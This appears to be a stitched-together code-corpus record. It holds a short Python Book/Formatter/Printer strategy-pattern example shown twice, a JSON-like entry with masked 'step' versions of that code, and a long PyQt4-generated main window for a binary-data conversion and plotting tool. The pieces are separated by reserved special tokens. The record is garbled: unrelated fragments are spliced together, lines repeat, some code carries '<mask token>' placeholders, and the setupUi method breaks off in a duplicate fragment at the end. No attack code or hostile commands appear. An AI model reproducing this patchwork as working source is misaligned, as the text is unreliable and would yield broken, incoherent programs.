def __init__(self, title: str, content: str):
self.title = title
self.content = content
class Formatter(ABC):
@abstractmethod
def format(self, book: Book):
pass
class TitleFormatter(Formatter):
def format(self, book: Book) ->str:
return book.title
class ContentFormatter(Formatter):
def format(self, book: Book) ->str:
return book.content
class Printer:
def get_info(self, book: Book, formatter: Formatter):
return formatter.format(book)
<|reserved_special_token_1|>
from abc import ABC, abstractmethod
class Book:
def __init__(self, title: str, content: str):
self.title = title
self.content = content
class Formatter(ABC):
@abstractmethod
def format(self, book: Book):
pass
class TitleFormatter(Formatter):
def format(self, book: Book) ->str:
return book.title
class ContentFormatter(Formatter):
def format(self, book: Book) ->str:
return book.content
class Printer:
def get_info(self, book: Book, formatter: Formatter):
return formatter.format(book)
|
flexible
|
{
"blob_id": "d025b0719c6eecdfccb2e39a58af7842f4229c72",
"index": 2678,
"step-1": "<mask token>\n\n\nclass Formatter(ABC):\n <mask token>\n\n\nclass TitleFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.title\n\n\nclass ContentFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.content\n\n\nclass Printer:\n\n def get_info(self, book: Book, formatter: Formatter):\n return formatter.format(book)\n",
"step-2": "<mask token>\n\n\nclass Formatter(ABC):\n\n @abstractmethod\n def format(self, book: Book):\n pass\n\n\nclass TitleFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.title\n\n\nclass ContentFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.content\n\n\nclass Printer:\n\n def get_info(self, book: Book, formatter: Formatter):\n return formatter.format(book)\n",
"step-3": "<mask token>\n\n\nclass Book:\n\n def __init__(self, title: str, content: str):\n self.title = title\n self.content = content\n\n\nclass Formatter(ABC):\n\n @abstractmethod\n def format(self, book: Book):\n pass\n\n\nclass TitleFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.title\n\n\nclass ContentFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.content\n\n\nclass Printer:\n\n def get_info(self, book: Book, formatter: Formatter):\n return formatter.format(book)\n",
"step-4": "from abc import ABC, abstractmethod\n\n\nclass Book:\n\n def __init__(self, title: str, content: str):\n self.title = title\n self.content = content\n\n\nclass Formatter(ABC):\n\n @abstractmethod\n def format(self, book: Book):\n pass\n\n\nclass TitleFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.title\n\n\nclass ContentFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.content\n\n\nclass Printer:\n\n def get_info(self, book: Book, formatter: Formatter):\n return formatter.format(book)\n",
"step-5": null,
"step-ids": [
7,
8,
10,
11
]
}
|
[
7,
8,
10,
11
] |
<|reserved_special_token_0|>
class Ui_MainWindow(object):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName(_fromUtf8('MainWindow'))
MainWindow.resize(661, 728)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.
QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(MainWindow.sizePolicy().
hasHeightForWidth())
MainWindow.setSizePolicy(sizePolicy)
MainWindow.setMinimumSize(QtCore.QSize(100, 100))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
MainWindow.setFont(font)
MainWindow.setAutoFillBackground(False)
MainWindow.setTabShape(QtGui.QTabWidget.Rounded)
self.centralwidget = QtGui.QWidget(MainWindow)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().
hasHeightForWidth())
self.centralwidget.setSizePolicy(sizePolicy)
self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))
self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))
self.centralwidget.setObjectName(_fromUtf8('centralwidget'))
self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)
self.verticalLayout.setObjectName(_fromUtf8('verticalLayout'))
self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.
QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().
hasHeightForWidth())
self.groupBox_3.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox_3.setFont(font)
self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)
self.groupBox_3.setAutoFillBackground(True)
self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.
AlignLeft | QtCore.Qt.AlignVCenter)
self.groupBox_3.setObjectName(_fromUtf8('groupBox_3'))
self.gridLayout = QtGui.QGridLayout(self.groupBox_3)
self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)
self.gridLayout.setObjectName(_fromUtf8('gridLayout'))
self.MainVertLayout = QtGui.QVBoxLayout()
self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)
self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)
self.MainVertLayout.setSpacing(0)
self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout'))
self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)
self.verticalLayout.addWidget(self.groupBox_3)
self.groupBox = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().
hasHeightForWidth())
self.groupBox.setSizePolicy(sizePolicy)
self.groupBox.setMinimumSize(QtCore.QSize(100, 200))
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox.setFont(font)
self.groupBox.setWhatsThis(_fromUtf8(''))
self.groupBox.setObjectName(_fromUtf8('groupBox'))
self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594,
32))
self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(
'horizontalLayoutWidget_6'))
self.horizontalLayout_9 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_6)
self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9'))
self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)
self.label_7.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_7.setFont(font)
self.label_7.setObjectName(_fromUtf8('label_7'))
self.horizontalLayout_9.addWidget(self.label_7)
self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)
self.browserButton_7.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().
hasHeightForWidth())
self.browserButton_7.setSizePolicy(sizePolicy)
self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton_7.setObjectName(_fromUtf8('browserButton_7'))
self.horizontalLayout_9.addWidget(self.browserButton_7)
self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)
self.filePathEdit_7.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().
hasHeightForWidth())
self.filePathEdit_7.setSizePolicy(sizePolicy)
self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7'))
self.horizontalLayout_9.addWidget(self.filePathEdit_7)
self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32)
)
self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(
'horizontalLayoutWidget_9'))
self.horizontalLayout_10 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_9)
self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10')
)
self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)
self.label_11.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_11.setFont(font)
self.label_11.setObjectName(_fromUtf8('label_11'))
self.horizontalLayout_10.addWidget(self.label_11)
self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)
self.browserButton.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().
hasHeightForWidth())
self.browserButton.setSizePolicy(sizePolicy)
self.browserButton.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton.setObjectName(_fromUtf8('browserButton'))
self.horizontalLayout_10.addWidget(self.browserButton)
self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)
self.filePathEdit_3.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().
hasHeightForWidth())
self.filePathEdit_3.setSizePolicy(sizePolicy)
self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3'))
self.horizontalLayout_10.addWidget(self.filePathEdit_3)
self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592,
32))
self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(
'horizontalLayoutWidget_10'))
self.horizontalLayout_11 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_10)
self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11')
)
self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)
self.label_12.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_12.setFont(font)
self.label_12.setObjectName(_fromUtf8('label_12'))
self.horizontalLayout_11.addWidget(self.label_12)
self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10
)
self.browserButton_3.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().
hasHeightForWidth())
self.browserButton_3.setSizePolicy(sizePolicy)
self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton_3.setObjectName(_fromUtf8('browserButton_3'))
self.horizontalLayout_11.addWidget(self.browserButton_3)
self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().
hasHeightForWidth())
self.filePathEdit_5.setSizePolicy(sizePolicy)
self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5'))
self.horizontalLayout_11.addWidget(self.filePathEdit_5)
self.runButton = QtGui.QPushButton(self.groupBox)
self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.runButton.sizePolicy().
hasHeightForWidth())
self.runButton.setSizePolicy(sizePolicy)
self.runButton.setMinimumSize(QtCore.QSize(80, 50))
self.runButton.setIconSize(QtCore.QSize(24, 24))
self.runButton.setObjectName(_fromUtf8('runButton'))
self.verticalLayout.addWidget(self.groupBox)
self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().
hasHeightForWidth())
self.groupBox_2.setSizePolicy(sizePolicy)
self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox_2.setFont(font)
self.groupBox_2.setAutoFillBackground(True)
self.groupBox_2.setObjectName(_fromUtf8('groupBox_2'))
self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32)
)
self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(
'horizontalLayoutWidget_4'))
self.horizontalLayout_6 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_4)
self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6'))
self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8('label_3'))
self.horizontalLayout_6.addWidget(self.label_3)
self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().
hasHeightForWidth())
self.browserButton_4.setSizePolicy(sizePolicy)
self.browserButton_4.setObjectName(_fromUtf8('browserButton_4'))
self.horizontalLayout_6.addWidget(self.browserButton_4)
self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().
hasHeightForWidth())
self.loadButton.setSizePolicy(sizePolicy)
self.loadButton.setObjectName(_fromUtf8('loadButton'))
self.horizontalLayout_6.addWidget(self.loadButton)
self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().
hasHeightForWidth())
self.filePathEdit_4.setSizePolicy(sizePolicy)
self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))
self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4'))
self.horizontalLayout_6.addWidget(self.filePathEdit_4)
self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29)
)
self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(
'horizontalLayoutWidget_2'))
self.horizontalLayout_2 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_2)
self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2'))
self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label_4.sizePolicy().
hasHeightForWidth())
self.label_4.setSizePolicy(sizePolicy)
self.label_4.setObjectName(_fromUtf8('label_4'))
self.horizontalLayout_2.addWidget(self.label_4)
self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().
hasHeightForWidth())
self.comboBox.setSizePolicy(sizePolicy)
self.comboBox.setObjectName(_fromUtf8('comboBox'))
self.horizontalLayout_2.addWidget(self.comboBox)
self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().
hasHeightForWidth())
self.plotButton.setSizePolicy(sizePolicy)
self.plotButton.setObjectName(_fromUtf8('plotButton'))
self.horizontalLayout_2.addWidget(self.plotButton)
self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481,
29))
self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(
'horizontalLayoutWidget_3'))
self.horizontalLayout_3 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_3)
self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3'))
self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)
self.label_5.setObjectName(_fromUtf8('label_5'))
self.horizontalLayout_3.addWidget(self.label_5)
self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().
hasHeightForWidth())
self.comboBox_R1.setSizePolicy(sizePolicy)
self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))
self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1'))
self.horizontalLayout_3.addWidget(self.comboBox_R1)
self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)
self.label.setEnabled(False)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label.sizePolicy().
hasHeightForWidth())
self.label.setSizePolicy(sizePolicy)
self.label.setMinimumSize(QtCore.QSize(30, 0))
self.label.setMaximumSize(QtCore.QSize(30, 29))
font = QtGui.QFont()
font.setBold(True)
font.setItalic(True)
font.setUnderline(False)
font.setWeight(75)
self.label.setFont(font)
self.label.setAutoFillBackground(True)
self.label.setLineWidth(5)
self.label.setAlignment(QtCore.Qt.AlignCenter)
self.label.setObjectName(_fromUtf8('label'))
self.horizontalLayout_3.addWidget(self.label)
self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().
hasHeightForWidth())
self.comboBox_R2.setSizePolicy(sizePolicy)
self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2'))
self.horizontalLayout_3.addWidget(self.comboBox_R2)
self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().
hasHeightForWidth())
self.plotRangeButton.setSizePolicy(sizePolicy)
self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton'))
self.horizontalLayout_3.addWidget(self.plotRangeButton)
self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481,
29))
self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(
'horizontalLayoutWidget_7'))
self.horizontalLayout_5 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_7)
self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5'))
self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)
self.label_8.setObjectName(_fromUtf8('label_8'))
self.horizontalLayout_5.addWidget(self.label_8)
self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().
hasHeightForWidth())
self.comboBox_2.setSizePolicy(sizePolicy)
self.comboBox_2.setObjectName(_fromUtf8('comboBox_2'))
self.horizontalLayout_5.addWidget(self.comboBox_2)
self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().
hasHeightForWidth())
self.checkBox.setSizePolicy(sizePolicy)
self.checkBox.setObjectName(_fromUtf8('checkBox'))
self.horizontalLayout_5.addWidget(self.checkBox)
self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().
hasHeightForWidth())
self.plotImageButton.setSizePolicy(sizePolicy)
self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))
self.plotImageButton.setObjectName(_fromUtf8('plotImageButton'))
self.horizontalLayout_5.addWidget(self.plotImageButton)
self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)
self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().
hasHeightForWidth())
self.clearPlotButton.setSizePolicy(sizePolicy)
self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))
self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton'))
self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))
self.horizontalLayoutWidget.setObjectName(_fromUtf8(
'horizontalLayoutWidget'))
self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)
self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout'))
self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)
self.label_9.setObjectName(_fromUtf8('label_9'))
self.horizontalLayout.addWidget(self.label_9)
self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().
hasHeightForWidth())
self.pushButton.setSizePolicy(sizePolicy)
self.pushButton.setMinimumSize(QtCore.QSize(80, 15))
self.pushButton.setObjectName(_fromUtf8('pushButton'))
self.horizontalLayout.addWidget(self.pushButton)
self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().
hasHeightForWidth())
self.plotStripsButton.setSizePolicy(sizePolicy)
self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))
self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton'))
self.horizontalLayout.addWidget(self.plotStripsButton)
self.verticalLayout.addWidget(self.groupBox_2)
MainWindow.setCentralWidget(self.centralwidget)
self.statusbar = QtGui.QStatusBar(MainWindow)
self.statusbar.setObjectName(_fromUtf8('statusbar'))
MainWindow.setStatusBar(self.statusbar)
self.toolBar = QtGui.QToolBar(MainWindow)
self.toolBar.setObjectName(_fromUtf8('toolBar'))
MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)
self.menuBar = QtGui.QMenuBar(MainWindow)
self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))
self.menuBar.setObjectName(_fromUtf8('menuBar'))
MainWindow.setMenuBar(self.menuBar)
self.actionOpen = QtGui.QAction(MainWindow)
self.actionOpen.setVisible(True)
self.actionOpen.setObjectName(_fromUtf8('actionOpen'))
self.actionQuit = QtGui.QAction(MainWindow)
self.actionQuit.setObjectName(_fromUtf8('actionQuit'))
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None))
self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None))
self.groupBox.setTitle(_translate('MainWindow',
' BINARY DATA CONVERSION', None))
self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None))
self.browserButton_7.setText(_translate('MainWindow', 'Browse', None))
self.filePathEdit_7.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\', None))
self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None))
self.browserButton.setText(_translate('MainWindow', 'Browse', None))
self.filePathEdit_3.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\qtGSD\\gsd_parse.out', None))
self.label_12.setText(_translate('MainWindow', ' INPUT FILE ',
None))
self.browserButton_3.setText(_translate('MainWindow', 'Browse', None))
self.filePathEdit_5.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\', None))
self.runButton.setText(_translate('MainWindow', 'Run', None))
self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None))
self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None))
self.browserButton_4.setText(_translate('MainWindow', 'Browse', None))
self.loadButton.setText(_translate('MainWindow', 'Load', None))
self.filePathEdit_4.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\', None))
self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None))
self.plotButton.setText(_translate('MainWindow', 'Plot', None))
self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None))
self.label.setText(_translate('MainWindow', 'to', None))
self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None))
self.label_8.setText(_translate('MainWindow',
' PLOT SPECTRA AS 2-D IMAGE', None))
self.checkBox.setText(_translate('MainWindow', 'Log', None))
self.plotImageButton.setText(_translate('MainWindow', 'Plot Image',
None))
self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None))
self.label_9.setText(_translate('MainWindow',
' PLOT TOTAL COUNTS vs STRIP', None))
self.pushButton.setText(_translate('MainWindow', 'Update', None))
self.plotStripsButton.setText(_translate('MainWindow',
'Plot Strips', None))
self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None))
self.actionOpen.setText(_translate('MainWindow', 'Open', None))
self.actionQuit.setText(_translate('MainWindow', 'Quit', None))
<|reserved_special_token_1|>
<|reserved_special_token_0|>
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName(_fromUtf8('MainWindow'))
MainWindow.resize(661, 728)
